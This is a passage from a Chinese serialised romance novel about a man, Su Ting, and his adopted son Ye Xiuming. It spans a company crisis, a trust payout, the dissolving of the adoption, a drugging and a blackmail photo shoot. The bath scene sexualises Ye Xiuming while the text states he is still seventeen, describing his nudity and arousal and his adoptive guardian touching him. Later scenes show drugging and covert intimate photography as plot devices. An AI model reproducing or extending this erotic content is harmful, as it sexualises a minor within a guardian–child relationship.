苏廷没接他的话茬,递给叶修明一碗姜撞奶,说:“尝尝曲姨的手艺。” 叶修明接过来,舀了勺嫩滑的姜撞奶,轻声说:“你才是我的世界。” 苏廷一怔,有些叹惋地说:“你能有这种想法,恰恰证明了我会耽误你。” 苏廷继续说:“有我在,只会成为你的束缚,所以解除领养关系对我们来说,最正确不过。” 他笑道:“你以后可以随便玩赛车了。” 叶修明问:“我真能吗?” 苏廷微转了下眼,“最好还是不要,太危险了,我承受不了。” “小爸。” “嗯?” “我也想当你的世界。” 这句话,犹如一片羽毛轻轻地在心窝上抓痒,苏廷仿佛真的看见了他们只有彼此的景象。 可那是以站在全世界的对立面为前提的,他们真的能和这个世界的规则相抗争吗。 叶修明目光灼灼地盯着他说:“让我证明给你看。” “算了,早点休息吧,修明。” “嘶——我手好疼…!” 苏廷的眼睫微微闪动,在识破叶修明的小把戏后,并没有揭穿,而是脚步扭转了个结,笑道:“刚吃饱就想洗澡,对身体不好。” “那我隔半个小时再来叫你。” 苏廷用纸巾擦了擦手,阴晴不定地垂首,再侧身走了几步,说:“修明,你不许打歪主意。” “好,我一定规规矩矩的。” 窗外的雅好风月,与秋天的凉爽相互交缠,此消彼长。 苏廷才洗了澡,穿着干净的白衬衣和深色睡裤,手臂上的袖子半挽着,衣领有几个扣子没系,露出性感的锁骨,仿佛是能装下欲-望的浅滩。 他提前给主卧的浴缸放了水还有浅紫色的气泡弹,这样丰盈的泡沫下就会存在视觉盲区,不至于越界。 叶修明倒是诚恳,一到苏廷的房间就开始褪去衣物,直到只剩一条内裤。 苏廷忙闭上眼,用手远远地挡住关键部位,说:“你先躺进去再说。” “小爸,你扶着我。” 苏廷让这声“小爸”弄得有点头晕,循着他声音的方向伸出胳膊。 叶修明就不客气地扶了上去,并附赠一句:“反正早晚都会看到,我如果是你,就不浪费这个时间。” 苏廷感到自己的肺腑都没办法工作了,在听到水花声后,兴致缺缺地睁开眼,直接拿毛巾蘸泡泡后弄了他一脸。 叶修明拉住他的手腕,往自己的胸前一带,气息滚烫,表情值得细品,“小爸,我都这样了,你不是都没躲吗……所以我说的不是没有道理。” “叶修明我可警告你,你离十八岁还有一天,我们无论如何都不可以。” 叶修明泄了气,半仰在浴缸,声音粗重:“那就……慢点擦。” 苏廷只好按照原定的计划好好给他擦洗身子,当毛巾划过他的胸肌时,即使静止不动,也能感受到其下蕴藏的巨大的张力,那光滑细腻的皮肤也散发着灼人的生命力。 真是年轻,苏廷心想。 当划过腹肌的时候,苏廷突然触了电似的抽回了手—— 他在不经意间,摸到了叶修明的……那地方。 并且不是自然的状态。 叶修明云淡风轻地说:“小爸别误会,它本来就这样的。” 才怪。 不过奇异的是,苏廷并没觉得有羞耻的感觉,仿佛这确实是自然而然的事情。只是,浴缸里的那个没什么,他却浑身燥热,要不是扯了扯衣领,恐怕要喘不上气来。 第74章 看他魂不守舍的样子,叶修明就知道自己是得逞了,他微微侧了侧头,倾身压在苏廷的肩膀上,贴着他的耳朵道:“小爸,脸都红了,要不要帮你泄泄火。” 苏廷的心中警铃四作,如临大敌地看向叶修明那双眼。他的情况也没好到哪去,眼尾扫着一缕嫣红色。苏廷知道那是情潮上涌、克制不住自己的表现。 叶修明滚烫的鼻息还在耳边,有着他不自知的魔魅力量,让自己动弹不得。 他也想要。 在本能面前,他那带着诡辩色彩的原则真的可以扔掉不要。 就这么身心自由地被人享受,自己也沉醉其间,不好吗。 可是,当他放下道德底线,放下人伦纲常,想要放纵一次的时候,他突然七窍皆空了,眼神木然地缓缓垂首。 他在照片事件之后,还没有在其他人面前裸-体过。过去的伤疤牢牢附着在他的身上,让苏廷有着深深的病耻感。 苏廷说:“我知道你可能也不是随随便便起的这个心念,但我确实不行,叶修明,你去找别人吧,我祝福你。” 叶修明也知道打开苏廷的心门、解开他的疙瘩需要费多大工夫,所以他的好皮肤即使憋出了个痘,也懂得徐徐图之、好肉不迟的道理。 他从苏廷的脖颈间退下,枕着双臂望天,再将目光慢悠悠地晃到苏廷的身上,说:“像我这个年纪的人,很多人都有不少性经验,可惜,差我一个,那我找谁补上呢?裴安?温言玉?你帮我出个主意。” 苏廷说了句“你随便”就离开了浴室,在蒸汽里留下个似真亦幻的影子。 叶修明则在浴缸里待到很晚,直到苏廷沉沉地睡去。 周叙白是接近凌晨三点过来敲的门,直接把睡梦中的苏廷惊醒了。 “你最好有正经事。”苏廷打着哈欠,似乎预料到了什么,“是工地的事?” 周叙白把带来的笔记本电脑放在茶几上,说:“我在拟明天披露的公告,等写完了等你定稿。” 苏廷困惑不解:“披露什么?” “我找人查了查规定,工地接近10%的人患癌叫‘重大事件’,披露不及时连你本人都要罚款。”周叙白噼里啪啦打下一段字,不想却被苏廷把电脑合上了。 “在事实没有调查清楚之前,你提前自爆,是嫌扉合的K线图太好看,还是怕我死得不够难看?” 叶修明也被他们的吵闹声惊扰,走到客厅。 这么晚看见周叙白,他就知道是扉合有大事,叶修明略懂一些资本市场的规定,后知后觉地想起那些工人患癌的事情确实是要发公告的。 “小爸,从披露到调查取证的这段时间,扉合的股价肯定是要暴跌,但这件事一旦被媒体曝出去,而你却隐瞒不报,国内的处罚据说更严厉。” 周叙白用手指快速点了点叶修明,说:“还是儿子聪明,你小爸就会因小失大。” 叶修明笑道:“他确实是这样。” 苏廷穿着宽松的长袖黑T和刚才那条睡裤,郁愤不平地在屋子里走来走去,连鞋袜都没穿,叶修明赶紧去给他拿了白袜,俯身给他穿上,周叙白一开始还觉得没什么,儿子嘛,孝顺,可到后来叶修明就开始胡来了,他横抱着苏廷到沙发上,蹲在他脚边,道:“别着急,有我呢。” 周叙白拧着个眉头,有样学样地帮腔道:“对,还有我。” 在这么危机的关头,苏廷竟然乐了,心想他在命如悬丝的时候,竟也不是孤单的那个。 只是自己在西郊五年多的拆除中耗费了大量的财力,一旦股价持续暴跌,扉合的资金链将有断裂的风险。 周叙白非要哪壶不开提哪壶:“哦对了,如果你不是非要开发西郊,也没这么多破事。” 苏廷眉头一紧:“所以你觉得是谁在害我。” 周叙白:“你自己。” 苏廷转向叶修明:“你觉得呢?” 叶修明偷偷摸着苏廷的脚丫,毫不踟蹰地说:“那些工人患癌,不是因为你;西郊的二次爆炸,也不是因为你……” 爆炸?郑力? 可这是大半夜,苏廷的脑子实在转不了,憋了半天才对叶修明说:“你刚才抱我,胳膊疼不疼。” “抱你我不疼。”叶修明说,“你同意我去找温言玉我才疼。” 周叙白这才如同被惊雷砸到,痴呆呆地半天都没吭气。 这他妈发生了什么?! 他觉得老天爷给自己讲了个笑话,笑话的名字叫你的儿子是你的情敌,而你儿子的对象是他的养父。 周叙白故作镇静地继续敲字,冷不丁地抬头说:“你俩……好了?” 叶修明很想应一声,却被苏廷打断情绪,只听他无情无绪地说:“好好写你的公告,没事别乱瞟。” 周叙白“腾”的一下就像拔葱一样起身,跑去厨房用冷水擦了把脸,回来定定地看着苏廷:“你答应我,我周某人将来的某一天,不会写你跟养子在一起的公告。” 苏廷想了想那情景,发现他也不敢想。 在这件事情上,他跟周叙白才是一体的。 所以暧昧也好,亲密也罢,都该止步于此,再深的,就算他历练太浅。 不过叶修明却说:“我们签了《解除领养协议》,很快就要去民政办手续了。” “所以大爸,你永远都不会写那份公告。” 周叙白猛然对着苏廷:“这算什么?!当初你为了避嫌、不要小叶子的那五年又算什么?!他那么小的孩子,你就让他一个人漂泊在外。现在倒好,你避的嫌可真成功!苏廷,你是喜欢自己打脸的声音吗。” 叶修明替苏廷保全了颜面:“我们什么都没发生,什么都没做。” 周叙白起身,步履维艰地走到叶修明跟前,双手扶着他的肩膀,向他露出“你受苦了”的表情。 “但是你俩给我记住,现在的媒体会放大很多事情,所以要管好你们的身体。”周叙白仿佛鬼迷了心窍,这边交待完,就抓住苏廷躲闪的眼神,嗔道:“早知道我就不救他了。” 叶修明缓缓地举手:“大爸,我还在这。” 第75章 谁都无法形容,周叙白现在的糊涂程度。 他从高中就开始暗恋苏廷,直到现在。 那汹涌的感情还在心里。 所以当这份感情太过沉甸甸的时候,到最后他还是希望苏廷能找到属于自己的幸福。 可如果这个人是叶修明,确实是苏廷太欠考虑了。 “你们两个的事情我就当不存在,也必须不存在,就算你们签了合同,也不影响别人拿这件事来做文章。”周叙白稳稳地坐在沙发上,面无表情,仿佛只要无止尽地念下去,这件事就不存在了。 “现在我要写披露公告了,小叶子可以帮我找点模板。” 叶修明不仅帮他忙了一晚上的稿件,还在第二天联系了信托经理,约在一家咖啡厅,想把信托的钱全都取出来。 “叶先生,当初叶总给信托资金设置了一次性取两亿的最高限额,取出来就会自动终止信托,这就意味着,你今后再也没办法取出一毛钱。” “所以,我只能取两亿?” 信托经理忧色不减,“你这么理解也行,不过……你是遇到什么事了吗?” “能用钱解决的,都不算事。”叶修明深知这叫小历沧桑,没必要过分纠结钱的问题。 信托经理咋舌:“你还真是豁达,可你知道叶总给你的那条反挥霍条款有多严苛吗?等你一次性取出两亿,也将失去叶家的继承权。” 叶修明知道这是什么意思,意味着到时候他妈妈就是百忙一场。 叶修明:“没关系,快去办。” “你要考虑清楚啊。” “我不需要考虑。” “行吧,但是这么大额的资金肯定还要做反洗钱和反恐怖融资的调查,预计一周左右,才能到你账户。” 叶修明“嗯”了一声后,就压低棒球帽,离开咖啡厅。 信托经理看着他高大的背影,轻轻摇摇头,给手机上的神秘号码打了过去。 那人是叶淮安的律师,经常能给他递各种消息。 所以,在叶修明生日的前一天,叶淮安得知了他并没被郑力羁押的消息,整个人几乎在监狱里喜极而泣。 他哭完便开始心明眼亮地分析局势—— 他叶淮安不能再纵容郑力在外面危险地活动了,更不能让叶修明再次陷入危险。 院子里长着几棵歪脖的柳树,片叶不生,看起来总是萧索。 叶淮安午饭后遛弯时对狱警说:“你把检察院的人叫过来,我有事情要交代。” 见他终于要松口,几位检察官马不停蹄地就赶了过来,叶淮安坐在审讯桌前一乐:“能向我保证几件事吗,否则我不会开口的。” 检察官们面面相觑,最后同意了。 “我已经在监狱里关了五年,之后如果有我的量刑,也不得超过这五年,也就是说,等我说出实话,你们就必须放了我。” “是与郑力有关吗。” “对。” “我们尽量争取。” 叶淮安缓缓开口,把这些年郑力靠狂揽项目贪污受贿、非法侵占,还有涉黑杀人的事情一并都撂了。“他手段残暴,无所不用其极,令人发指,曾经有几个无辜的人就惨死在他的爪牙之下,名字我过会儿给你们,你们可以派人去查,有几个尸体就在御派大厦十八楼东南角的墙壁里。” 这样,叶淮安曾经找警察庇护的原因,也就讲得通了。 与野兽并辔,就要做好被吞噬的准备。 可他妻儿在外,受制于人,也就不好坦言郑力的罪证,终于还是生生地错过这么多年。 与此同时,扉合早上的公告一发,几分钟就直接跌停,周叙白看了看卖方挂的那几十万手,愁眉惨淡地看着下市时间,知道苏廷将迎来数个工作日的跌停。 直到下午三点,都没有要涨回来的迹象。 那条线,凝固在了地板上。 周叙白把这件事看得还算积极:“没人停你的工,没人给你开出顶格罚单,也没人退你的市,所以还不算太坏。” 财务总监在小范围的会议上泼了冷水:“周总,但是就目前这个情况,我们还是主动停工吧,账面真的没眼看了。你要知道财务指标不达标,咱们也是会退市的呀。” 苏廷:“可停工就意味着我心里有鬼,默认了工地有致癌风险。” 周叙白点着头,对财务总监道:“确实这样,媒体总是唯恐天下不乱的。” “那我们该怎么办啊,以现在的股价套现的话,咱们亏大了。”财务总监道。 这时,叶修明的声音出现了,带着一股清冽的寒风,他用笃定的声调说:“西郊的项目不能停,资金我有办法。” 苏廷看到他此刻到了,眼睛竟是红红的,仿佛他的时运已去,徒剩叶修明。 周叙白不同意叶修明的提议:“你的钱我跟你小爸不能要,你爸爸还在牢里,不知道什么时候出来,那是你安身立命的钱。” 叶修明道:“你们给我口饭吃就好了,我要求不高,有肉就行。” 旋即,苏廷敲了敲自己的桌面:“让我跟修明一个人待会儿。” 周叙白心里即使一百个不同意,也拗不过苏廷,悻悻离去。 偌大的办公室内,仅剩苏廷和叶修明。 这是间极简主义的办公室,色调偏黑,只有待客的沙发是白色的。苏廷穿着包裹性极强的黑色西装,勾勒出颀长挺拔的身材,袖口露出一截白色的衬衣,更显得玉树临风,清素绝尘。 叶修明是直接把苏廷竖抱到沙发上的,好在苏廷早就放弃了挣扎,他想抱就任他抱,整个人变成了一具没有思考能力的美丽的僵尸。 苏廷能大概猜出叶修明信托的价值,也知道这些钱能解燃眉之急,可是对叶修明有没有影响呢? 叶修明隐瞒了他无法继承遗产的那部分内容,只告诉苏廷:“两亿,只是信托的一小部分,给你我不受影响的。” 苏廷:“你确定?” “我骗过你吗小爸。” “你骗得可不少。”苏廷叩弹着叶修明的胳膊,“疼吗?” 叶修明突然向他逼近,黑色卫衣的帽绳在苏廷的脸颊处晃来晃去,苏廷觉得心烦就抽了一边,这动作倒像是把叶修明拽过来的意思,而叶修明也顺势与苏廷脸贴着脸,几乎没有距离。 叶修明说:“这是我们在一起历的第一劫,你信我一次。” 苏廷立即纠正他:“我们没有在一起……” 叶修明用鼻尖蹭了蹭苏廷的鼻尖,说:“你在我身世不明的时候接纳了我,就当我报恩吧。” 可这笔钱即使苏廷去用,也应该有借有还,他不想欠叶修明的。 “我给你打欠条,以我苏廷和扉合的名誉担保。” 叶修明笑了笑,“别打了小爸,你见过给自己的聘礼打欠条的吗。” 第76章 苏廷没想到叶修明会用到“聘礼”这个词,他先是反应了一会儿,然后脸上就氤氲着一层绯红的颜色,看起来像是懂了什么意思。 苏廷颤声道:“你精神错乱我可以不跟你计较,等你清醒了再说这种浑话,我可要——” “打屁股吗。”叶修明期待上了,“我就怕你不打!” 只见叶修明像个虔诚的信徒一样跪在苏廷的腿边,左手拿起苏廷的手开始把玩,继而全掌覆上,与他十指相扣。 明显的战栗从手掌传来,直到掌心都出了层细汗。 叶修明保持着半跪的姿势,伸手把苏廷微敞着的领口扣上扣子,再在脸颊落下一个一触即分的吻。 说:“我给你这些钱,不是为了上你,是为了有一天,让你变成我叶修明的人。” “到那时,我会向所有人都确认你的存在,绝不把你养成笼中雀,我和你的名字必须并列出现在所有的场合。苏廷,该害怕的应该是别人,因为只有我们做到了别人想都没想过的事。” 苏廷轻嗤:“小孩子心性。” 只见叶修明取出两份协议,递给了苏廷。 一个是无偿转让两亿元信托资金的合同,另一个是意定监护协议。 苏廷看着那份意定监护协议,实在有点想不明白:“你跟我睡都没睡过,意定监护协议是不是有点草率了,万一我们将来都遇到更合适的人,怎么办。” 当苏廷因疾病、意外失去民事行为能力时,将由叶修明为他做出医疗、护理、财产管理等决定。 对于LGBT人群,意定监护是唯一能赋予其伴侣合法监护权的法律工具,意义非凡。这种非凡的协议,似乎不该又养子去承担…… “反正也当了你这么多年的儿子,做你未来的监护人也不是不行。”叶修明媚眼一笑:“你要是觉得签协议之前必须睡一场,我也随时准备着。” 苏廷笑了笑,态度暧昧地抱住叶修明的脑袋,“早知道你长大了会变成这样,我宁愿不要你。” “那这两个合同——” “都签。” 叶修明管他有多少心理问题,结果才是最重要的。 签完协议后,叶修明给苏廷拿纸擦红印泥,突然来了兴致,翻开第一份合同,说:“赠予信托的协议的最后一段,‘乙方出于礼节,将向甲方叫老公,直到他听腻为止’。 苏廷皱了皱眉,觉得合同里出现这段基本不可能,所以拿来一看,顿时被叶修明的不要脸弄得心服口服。 “不是说好的‘无偿’的吗。” “我等着你叫呢。”叶修明不予理会他的抗争,斜倚在办公桌前,露出小小期待的目光。 没想到苏廷做了一番心理斗争,结果却是上来吻了他,力气不小,技巧也精湛,很快就让叶修明招架不住了。 亲完后,苏廷抹着嘴角的涎液,说:“这样总可以不叫老公了吧。” 叶修明细品了这个吻的含金量,心想忍一时也不过是一时,而苏廷可是主动吻了上来。 他做出假模假式地正经,说:“这次暂时就算了,下回可没这么好糊弄了。” 苏廷心想,要不是叶修明是他从冰寒天气里抱回来的小孩,是由不得他和么放肆的,起码7号杆伺候。 叶修明生日的前一天,他已经拿到了所有他想要的东西,给予了所有他要给予的,并且……他跟苏廷走到了民政局,拿出了那份《解除领养协议》。 工作人员问道:“是发生不可调和的矛盾了吗?” 叶修明心说他想上苏廷,苏廷不让上,这不就是不可调和矛盾吗,于是点了点头。苏廷诧异地看了他一眼,泄气地也“嗯”了一声。 “唉,父子一场,有什么熬不下去的可以再试试,给自己和对方多个机会嘛,不然断了……可就是断了。” 苏廷突然说:“如果民政部门解决不了,那我们走诉讼。” 那工作人员才正视他们的诉求,在惋惜中替他们办完了手续。 苏廷走出大厅,被北风灌了一嘴,忙遮着头部,回身看追赶过来的叶修明。 嗯,他还能看出十一岁的样子,不服输、行动力惊人,说死就想拿石头开个洞,现在也是,只不过曾经是为了吃肉,现在是为了吃他。 周叙白的好消息也到位了,据说警察在调查时顺着扉合给的线索查这十几个人的来路,发现他们也就是最近一周才陆续到工地上来的,确诊得癌症的时间远远早于到西郊的时间。 他们造的谣言不攻自破。 不过可惜的是,警情通报和具体的调查结果还有一段时间才出得来,可舆论早已发酵成了极为难堪的模样,可以预见的是扉合的持续走跌还有段时间。 所以当叶修明的钱打到西郊的项目公司时,一切都有了转圜的余地,他们有大把时间和金钱去建设西郊。 “谢谢你,修明。”苏廷站在如同庞然大物一样的西郊建筑群下,渺小得像是蝼蚁。 叶修明抱着双臂,今天破天换地把卫衣脱了,换了件剪裁得当的黑色西装,他看着正在猫着腰丈量什么的周叙白,说:“非要把大爸也带着吗。” 周叙白气急败坏地抬头说:“都怪你那个聘礼,还有意定监护协议,把苏廷吓个半死,这种时候都非要拉着我。” 叶修明感到有些不可理喻,说:“为什么会吓到你?” 苏廷耸了耸肩,“谁让你你逼我喊你老公。” 周叙白直接“草”了一声。 “算了,”周叙白说,“马上放饭了,今天有酱焖猪蹄,尝尝吧两个祖宗。” “就你们那自诩厨神的三脚猫工夫,在咱们大师傅的功力之下,全都得靠边站。”周叙白给他们一人拿了个餐盘,“别客气。” 这时,电视中突然插播了一条口播的新闻,说是郑力书记涉嫌严重违纪违法,退休五年后被查。 叶修明怔怔然地盯着电视机,想找找其中的因果。 “修明,你怎么在这里吃这个。” 是一个浑厚的中年男声。 “儿子——” 来人的鼻头有些泛红,看起来真够伤心的。 叶修明在奇异的感觉中回头,然后愕然定住:“爸……” 第77章 叶淮安已经五六年没见叶修明了,在无比感伤上头的时候,涕泗横流地把他盯着,说:“孩子,我们回家,回家!” 说完,他就推着叶修明上了自家的车,连让他跟苏廷道别的机会都没有。 这一去,他们就直接奔向一百多公里外的龙城。这里是叶家的大本营,能暂时远离可以预见的动乱。 叶修明他们的车沿中心花园一周后,下车,进入欧式门廊,叶修明本以为能看见妈妈的影子,可惜没人候在那里。 叶淮安叹了口气:“现在还在动荡,还要防止余孽反扑,不得不再低调一段时间。” “那苏廷呢?他有没有危险?”叶修明下意识地问道。 叶淮安有一丝不悦,“你就那么在乎那个养父的死活,对了,你当初还用我的自由来换他的。” 叶修明嗅到一丝危险,警惕道:“那你会对他怎么样?” 叶淮安深深地垂下头去,说:“他养你这么久,我应该感激他,不会对他怎么样的。” 可是叶修明不愿待在龙城,他魂牵梦绕的人不在这里,于是他斗胆说:“那我现在可以回家了吗?” 叶淮安:“这里才是你的家,何况你不是已经跟苏廷解除领养关系了吗?对了,爸爸认识一个法官朋友,女儿刚从法国留学回来,我看过照片,跟你很般配,这就跟你安排。” 叶淮安如论如何也没想到叶修明却说:“爸,我是同性恋,喜欢的是男人,你就不要操心了。” 叶淮安立刻表情阴鹜地看着他,脸上阴晴不定,像是暴风雨即将来临。 也没再挽留叶修明。 据可靠消息,叶修明第一时间就赶回了苏廷的家,当然周叙白也在,正趴在窗边向下打探敌情,说:“楼下有个人一直鬼鬼祟祟的。” 叶修明掀开窗帘,跟周叙白一左一右,发现那是他的老熟人——钟祥。 他很快就下了楼,与钟祥面对面道:“你在这里到底有什么事?” 钟祥笑了笑,给他递了瓶好酒,说:“今天是你的十八岁生日,这瓶酒是给你的成年礼,修明,生日快乐。” 叶修明接下那酒,淡淡道:“你还记得。” “嗯,当然记得,你出生那天,病房全是夜来香的味道,也是你妈妈最爱的花,没想到一转眼,都十八年了。” 叶修明清俊的侧脸变得意味不明,“钟叔,这些细节好像只有你知道。” 钟祥的眼中蓄了些泪水,抬头看着苏廷的顶层豪宅,说:“你喜欢的人就在里面对不对。” 叶修明:“我不会瞒着你,他是我深爱的人。” “可你是知道你爸脾气的,他不可能永远放任你这么下去的。” 叶修明没当回事:“那我们就看谁能坚持得更久。” 钟祥叹了口气,一步一回头地走了。 才进家门,叶修明就不顾周叙白的存在,抱着苏廷亲吻了起来,他们的血液渐次沸腾,充满迷情的味道,当周叙白目睹这一切后,先是不忍直视,但很快就能理解二人的情感为什么会像野火一样滋生。 就像他当初对苏廷的感情一样。 控制不住。 这时,曲姨推着简易的生日蛋糕来到客厅中央,还给叶修明戴上薄荷蓝的生日帽。苏廷说:“对不起修明,叶淮安反复叮嘱我们要低调,一切只能从简了。” 不过,虽说简单,苏廷还是替他准备了一盏虚拟的大门,门框上缠绕着甜腻的花蔓,浪漫至极,由他艰难地推了出来。 “跨过这道门,就寓意着人生开启新的阶段。” “小爸,你才是我迎接未来的勇气。”叶修明看着苏廷柔美的眼睛,毫不犹豫地跨了过去。 周叙白看得出来俩人之间很浪漫,但觉得闹心,跑一边喝闷酒去了,反应了半天才说:“小叶子,你叫我大爸,现在又跟苏廷混在一起,所以苏廷是不是也要喊我大爸。” 苏廷:“我可以给你个大坝让你跳河。” 周叙白泰然自若地说:“那就跳吧,跳下去,一了百了。” 反正他这熙攘红尘没他的位置了。 叶修明打开钟祥送的酒,给每个人都满上,说:“这是钟叔请大家喝的酒。” 苏廷抿了一口,旋即露出意外之喜,这是他最爱的那种起泡酒,甜度也适中,周叙白喝过也说:“这不是你的酒吗?这世界果然还是围着苏廷转的。” 才喝一杯,叶修明就假装自己喝多了,歪头歪脑地让苏廷抱他去卧室,没想到苏廷也顺势就躺在了叶修明的怀里,死死地抱着他,不准他动弹。 “苏廷,你就算想做什么,也要先松开手。” 叶修明不敢相信自己正托着苏廷,并且是以新的身份抱着他,身子向前弓了弓,便让苏廷有了臌胀的酸涩情动,并且再明显不过了。而这种情动的轨迹也让叶修明不停地嘲笑自己,祝贺自己真要灵魂开窍了,不禁打着寒噤说:“要吗?” 苏廷被他翻身压在身下,叶修明的手指不听话地剥去一件件衣服,直到与他肌肤相亲,能清楚地感受到他温热的皮肤、涌动的血脉,感受到他身体的柔软和弹性,以及与自己身体曲线相契合的感觉。当他缓慢动作时,皮肤间的摩擦和触感带来了前所未有的愉悦感,他轻轻摸了摸苏廷的腰,不想他反应很大,还呻-吟了一声。 叶修明便娴熟而热烈地与之缠绕纠结。 苏廷像是失了心魔,失去了曾埋于心底的病耻感,在叶修明身上奇迹般地拥有了身心完备的契合。 “我准备好了。” 叶修明亲了亲他翘起的脚踝,用不算熟练的动作打开的一个玻璃小瓶,再深深地探入到苏廷的嘴里,扫荡他口腔里的每一寸味道。 “所以你当初到底在跟裴安看什么……”苏廷虚虚地说出口,精气神似乎被人抽掉了五成,还不等叶修明意识到有哪里不对,苏廷竟然睡昏了过去。 很快,他也开始头晕脑胀地看不清眼前的一切,他喝得不算多,苏廷喝得也不多,到底怎么回事呢?叶修明推开卧室的门,发现周叙白也昏了过去。 叶修明立刻给叶淮安打了电话:“你为什么要迷晕我跟苏廷?你到底想做什么?” 叶淮安沉默了,“你为什么会觉得是我?” “钟祥的酒有问题。” 叶淮安倏地就放下了电话。 第78章 叶修明清明的神识没能坚持多久,就开始找不着北了,他酒量是好,但架不住有人想加害于他。 隐隐约约的,叶修明觉得工地上那些癌症患者,跟迷晕他们的人是一伙的。 当他再想深度思考的时候,沉重的眼皮已经再也睁不开了。 叶修明也晕过去了。 他在迷晕的状态里,似有几分感知和神识,在这段时间里,他感觉自己好像被扔在了床上,跟苏廷并排躺在一起。 当叶修明使出全身力气用手指去勾苏廷的腰腹时,却发现根本使不上力气。 这药劲确实挺猛的。 门外的周叙白大抵也被绑了起来,至于自己为什么没被绑,还被扔在苏廷身边,叶淮安到底是想通了,还是想不开? 再醒来时,天光大作,晨起的火烧云有种毁灭一切的力量。 “来,林江行,你觉得怎么拍好看,就给我怎么拍。” 是一个熟悉的男声。 这声音叶修明小时候就听过,半大小子的时候也有交集,自己还撮合过他跟苏廷在一起。 正是温言玉。 世界上所有的善恶似乎都只在一线之间。 那位摄影师林江行的面上露出鄙夷之色,对床上的苏廷和叶修明简直是嗤之以鼻,他说:“我就知道你们两个关系不一般,原来还有这么一层,我这人最见不得腌臜的事情了,曝光你们比吃饭还要简单。呵呵,你们到底是养父子,还是情人?” 正说着,就一张张记录着床上狎昵的盛况—— 苏廷正半裸着,大好春光都倾泻在外,而叶修明,境遇也好不到哪去,浑身上下只剩个内裤,脸上有骇然,也有些不可思议。 叶修明看着近乎猖狂的温言玉说:“温言玉,你他妈疯了吗?” “我疯了还是你们疯了?”温言玉近乎张牙舞爪,“你还记得我跟你演戏的那天吗,你知道我花了多长时间才知道‘明庭’到底是谁名字的缩写吗?你可倒好,明明自己喜欢自己的养父,却还是拉着我趟这不明不白的水,你安的到底是什么心?” “工地上十多个癌症患者也是你的手笔?” 温言玉笑道:“是,我以为遇到这么大的事情,苏廷会过来求我帮忙,毕竟我也算是个只手遮天的人,有本事摆平一切,可他为什么不来找我呢?直到我知道你叶修明给了他几个亿!你以为用钱就能解决一切了吗?你现在不还是被我控制了吗。” 叶修明看着林江行还在不停拍着照片,只身挡住苏廷的身体,用哀求的声音说:“苏廷对拍照有心理阴影,林江行,我可以把半影那几桶酒都送给你,只求你放下相机。” 温言玉上来就踹了他一脚:“又是收买人心是吧,从小我就看你不顺眼,反正现在你爸也进去了,我也没必要在你面前装孙子,小子,有本事靠自己赢我。” “靠自己解决西郊的困局,靠自己解决你养父跟你的情-色新闻。” “你有这个本事和能量吗?如果没有的话,苏廷他凭什么会喜欢你?还不就是喜欢你年轻的身体罢了!” 叶修明混不吝地咧嘴一笑:“起码我还有东西让他喜欢,你呢?有什么?” 温言玉认真思索了半天,发现他可能最值得别人稀罕的就是只手遮天的本事,这是父母赋予他的,也常因为此被人追捧,除此之外,他的一切好像都泛善可陈,不然苏廷也不会对那些花无动于衷。 叶修明的身后忽然有了窸窣的动静,原来是苏廷醒了,他看见自己和叶修明被人控制在床上的状态,听到刺耳尖锐的快门声,像是被打开了某种开关,过去的羞辱倾闸而出,悲愤地用被子护住脑袋。 叶修明见状,痛在心里,拼尽最后一丝力气起身,拨掉了林江行的照相机。 他与温言玉面面相觑,后者感受到了一股强大的压迫感,这小子不知从什么时候开始,竟然真的长大了。 不想他柔声开口:“我要怎么做你才能把这些照片删掉。” 温言玉竟不知廉耻地说:“你跪在地上喊我一声爸,没准我会考虑考虑。” 叶修明脸上的阴笑彷如利剑,能创死几个人的那种,可他不能因小失大,即使跪这一次效果是徒劳,他也要试一试。 他先是屈了右腿的膝盖,另一条腿微微后撤,跪在地上,继而那条支着的右腿也垂了下来——叶修明真给他跪了。 他长呼一口气,声音摄人,“爸爸。” 温言玉改口了:“你这声爸爸可真不值钱,我改主意了。” 叶修明早就猜到了,然破局的办法总不可能是吧照相机摔碎吧。 苏廷在身后却缓缓开口了:“温言玉,你问我到底喜欢他什么,这就是我喜欢他的理由,勇敢无畏,不计后果,你也不要徒费心力,想发设法地羞辱我俩了。那些照片你想发就发,我和叶修明的事你想曝就曝,到时候……我会想办法宴请宾客,让他们祝福我俩的。” 叶修明的大脑“轰”的一声,失去了所有思考的能力。 “虽然你刚才给我们下了药,但那些事情,确实是我想对修明做的。”苏廷大大方方承认自己的欲-望,看着叶修明道:“站起来!你只能跪给我一个人!” 温言玉懵了,指着两人,半天都掷不出一个完整的音节。 “你们……你们他妈……玩真的?” “对,真的。”苏廷沉着地说。 很快,温言玉的心脏就感受到了被万箭击穿的感觉,他不可思议地看着苏廷,“他可是你的养子。” 苏廷破罐子破摔地笑着说:“如果是一般的养子,可能我也不会起这种心思,可他是叶修明,一切就都成了上天注定的事。” “我没想到你是这么猥琐的人。” “既然我这么猥琐,自然也就不值得温二公子的喜欢,你现在的纠结也就完全没有意义。” 温言玉已经陷入完全想不开的状态,“你们从什么时候开始的?” 一个浑厚的中年男声也随之响起:“对啊,你们到底是从什么时候开始的呢。” 第79章 温言玉一愣,看了看进来造访的这张熟脸,突然露出大厦将倾时的惶骇之色,他收起刚才的狂傲,小心地说:“叶叔叔?你不是还在牢里吗?” 叶淮安轻哼一声:“我已经出来了,只是还没放出消息。” 就算没有郑力这个靠山,叶淮安也是真正的大鳄,何况温叶两家还有世交的情谊,任温言玉有八个胆子,也不敢在叶淮安面前造次。 他心里不停地颤抖,腿也开始打起哆嗦,“叶叔,你听我解释,我在跟修明胡闹呢,你也知道,我俩都小孩子脾气,开玩笑……开玩笑。” 叶淮安才不惯着这个温家的畜生,“啪”的一声就给他的右脸留了个掌印,温言玉龇牙咧嘴地捂住脸,明白大势已去,说:“我把照相机放在这,随你处置,但是叶叔,你就心甘情愿地看着修明被他的养父祸害吗?这……天理能容吗?” 叶淮安理了理刚才打人时被震歪的眼镜,犀利的双眼如泰山压顶般扫到了苏廷身上。 他用被子裹着上半身,身体有小范围的抖动,似乎是受了不小的惊吓,然而都这种情形下,苏廷的脸依然能保持着卓然不群的英俊,他的嘴唇半张着,维持着一个未能发出的音节,嘴角微微抽搐,像被看不见的丝线拉扯。 下颌的线条绷得极紧,隐隐可见牙关咬合的痕迹。 联系到他曾遭受过的际遇,和这次的无辜被绑,叶淮安已能大致评判苏廷的心路历程,必然是充满泥泞的,不知为什么,他出现了恻隐之心,心中的天平向苏廷微微倾斜,有一瞬间甚至在想,就算儿子跟他在一起,也就在一起了。 他应该大度无私地祝他们幸福。 